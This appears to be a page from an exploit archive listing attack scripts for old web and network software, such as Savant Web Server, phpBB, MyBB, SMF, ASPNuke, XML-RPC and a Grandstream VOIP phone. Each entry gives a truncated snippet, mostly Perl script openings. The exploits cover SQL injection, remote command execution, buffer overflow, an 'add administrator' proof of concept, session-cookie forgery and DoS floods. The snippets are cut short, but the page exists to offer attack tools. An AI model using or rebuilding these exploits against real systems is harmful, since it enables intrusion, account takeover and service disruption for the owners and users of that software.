Savant Web Server 3.1 - Remote Buffer Overflow (2)

Savant Web Server 3.1 - Remote Buffer Overflow 2 !/usr/local/bin/perl Savant Buffer Overflow Exploit ---------------------------------- Infam0us Gr0up - Securiti Research Tested on Windows2000 SP4 Win NT Info: infamous.2hell.com Vendor URL: http://savant.sourceforge.net $ARGC=@ARGV; if $ARGC !=3...

SimplePHPBlog Arbitrary File Deletion and Sample Exploit

SimplePHPBlog has a vulnerability in its commentdeletecgi.php. The PHP script allows for the arbitrary deletion of files. Please see following link for a perl script to demonstrate the exploit: http://www.ftusecurity.com/pub/sphpblogvulns Please add .pl extension as my ISP server preprocesses the...

MyBB - member.php SQL Injection

MyBB - member.php SQL Injection source: https://www.securityfocus.com/bid/14684/info MyBB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. Successful exploitation could result in a compromise of the application...

gtchatDoS.txt

!/usr/bin/perl use LWP::Simple; if @ARGV 3 print "\nUsage: $0 server path mode count for DoS\n"; print "sever - URL chat\n"; print "path - path to chat.pl\n"; print "mode - poc or dos,\n"; print " poc - simple check without DoS and exit,\n"; print " dos - DoS, you must set count for requests in 4...

invisionCookie.pl.txt

!/usr/bin/perl -w This one actually works : Just paste the outputted cookie into your request header using livehttpheaders or something and you will probably be logged in as that user. No need to decrypt it! Exploit coded by "Tony Little Lately" and "Petey Beege" use LWP::UserAgent; $ua = new...

Grandstream Budge Tone 101/102 VOIP Phone Denial of Service Exploit

No description provided by source. !/usr/bin/perl use IO::Socket; use Term::ANSIColor; U S A G E system "clear"; print "\nGrandstream BT101/BT102 DoS\n"; print "written by pierre kroma [email protected]\n\n"; if !$ARGV2 print qq Usage: perl grandstream-DoS.pl -s ip-addr udp-port -r/-s ip-addr = ;-...

quickDoS.txt

Details: ======== Input to the user commands is not properly checked and/or filtered. Issuing a long argument to the user about 1024 caracteres commands will cause the corresponding process to die without any error message. this vulnerabilities exist in both the professionnal version 3.0 and lite...

FtpLocate flsearch.pl fsite Parameter Remote File Inclusion

The remote host is running FtpLocate, a web search engine for FTP sites written in Perl. The installed version of FtpLocate allows remote attackers to execute commands on the remote host by manipulating input to the 'fsite' parameter in various scripts. %NASLMINLEVEL 70300 C Tenable Network...

Open Bulletin Board 1.0.5 - SQL Injection

!/usr/bin/perl -w OpenBB sql injection tested on Open Bulletin Board 1.0.5 with mysql coded by x97Rang 2005 RST/GHC Gr33tz: blf, 1dt.w0lf use IO::Socket; if @ARGV != 3 print "\nUsage: $0 server path id\n"; print "like $0 forum.mysite.com / 1\n"; print "If found nothing - forum NOT vulnerable\n\n"...

AnalogX SimpleServer:WWW <= 1.05 Denial of Service Exploit

Exploit for unknown platform in category dos / poc ========================================================== AnalogX SimpleServer:WWW Prepare to start connect.\n"; sleep1; $s = IO::Socket::INET-newProto="tcp", PeerAddr=$ARGV0, PeerPort=$ARGV1, Timeout=6 or die " Target web server already DoSeD ?...

XML-RPC Library 1.3.0 - 'xmlrpc.php' Remote Command Execution (2)

------------------------------------------------------- /| | | | | /\ | | / \ \ / / |\ | | / /\ \ \ | | / | | | || \ || | | | / /\ | \ || | / | | | ||/ || | || / \ | || || | / | | | || \ || | | / / \ \ | || || | / | | ||| || | | / |/ | || || | | | | || /| | | | | ||/| | ||/ | | | ||| | |...

XML-RPC Library 1.3.0 - xmlrpc.php Remote Code Injection

XML-RPC Library 1.3.0 - xmlrpc.php Remote Code Injection tested and working /str0ke !/usr/bin/perl ilo-- This program is no GPL or has nothing to do with FSF, but some code was ripped from romansoft.. sorry, too lazy! xmlrpc bug by James from GulfTech Security Research...

[badroot security] Community link pro web editor: Remote command Execution

BADROOT SECURITY GROUP Security Advisory 2005-0x05 http://www.badroot.org irc.us.azzurra.org badroot - - - - - - - - - - - - - - - - - - - - - - - - - Authors ....... spher3 spher3 at fatalimpulse dot net mozako admin at fatalimpulse dot net Date...

ASPNuke <= 0.80 (comment_post.asp) SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== ASPNuke = 0.80 commentpost.asp SQL Injection Exploit ======================================================== !/usr/bin/perl -w SQL Injection Exploit for ASPNuke = 0.80 This exploit...

NsT-phpBBDoS.pl.txt

!/usr/bin/perl Name: NsT-phpBBDoS Perl Version Copyright: Neo Security Team Author: HaCkZaTaN Ported: g30rg3x Date: 20/06/05 Description: NsT-phpBB DoS By HackZatan Ported tu perl By g30rg3x A Simple phpBB Registration And Search DoS Flooder. g30rg3x@neosecurity:/home/g30rg3x perl NsT-phpBBDoS.pl...

phpBB <= 2.0.15 Register Multiple Users Denial of Service (perl code)

Exploit for unknown platform in category dos / poc ===================================================================== phpBB = 2.0.15 Register Multiple Users Denial of Service perl code ===================================================================== !/usr/bin/perl Name: NsT-phpBBDoS Perl...

Simple Machines Forum &lt;= 1.0.4 (modify) SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w SMF Modify SQL Injection // All Versions // By James http://www.gulftech.org Simple proof of concept for the modify post SQL Injection issue I discovered in Simple Machine Forums. Supply this script with your username password and the complete...

pafaq.pl.txt

!/usr/bin/perl -w paFaq 1.0 Add Administrator PoC // By James // http://www.gulftech.org use LWP::UserAgent; Set up the LWP User Agent $ua = new LWP::UserAgent; $ua-agent"paFaq Hash Grabber v1.0"; if !$ARGV0 print "Usage : pafaq.pl http://path/to/pafaq"; exit; my $keytime = time; my $dbmpath =...

GoodTech SMTP Server 5.14 - Denial of Service

GoodTech SMTP Server 5.14 - Denial of Service ===== Start GoodTechSMTPServerDOS.pl ===== Usage: GoodTechSMTPServerDOS.pl GoodTechSMTPServerDOS.pl 127.0.0.1 GoodTech SMTP Server for Windows NT/2000/XP version 5.14 Download: http://www.goodtechsys.com/ use IO::Socket; use strict; my$socket = ""; if...

comasp.pl.txt

This is a multi-part message in MIME format. ------=NextPart000003901C5473D.C6C4A380 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =20 !/usr/bin/perl use IO::Socket; use Getopt::Std; print "xASP NUKE 0.80 and below Comments.asp Sql Injection Exploit\n"...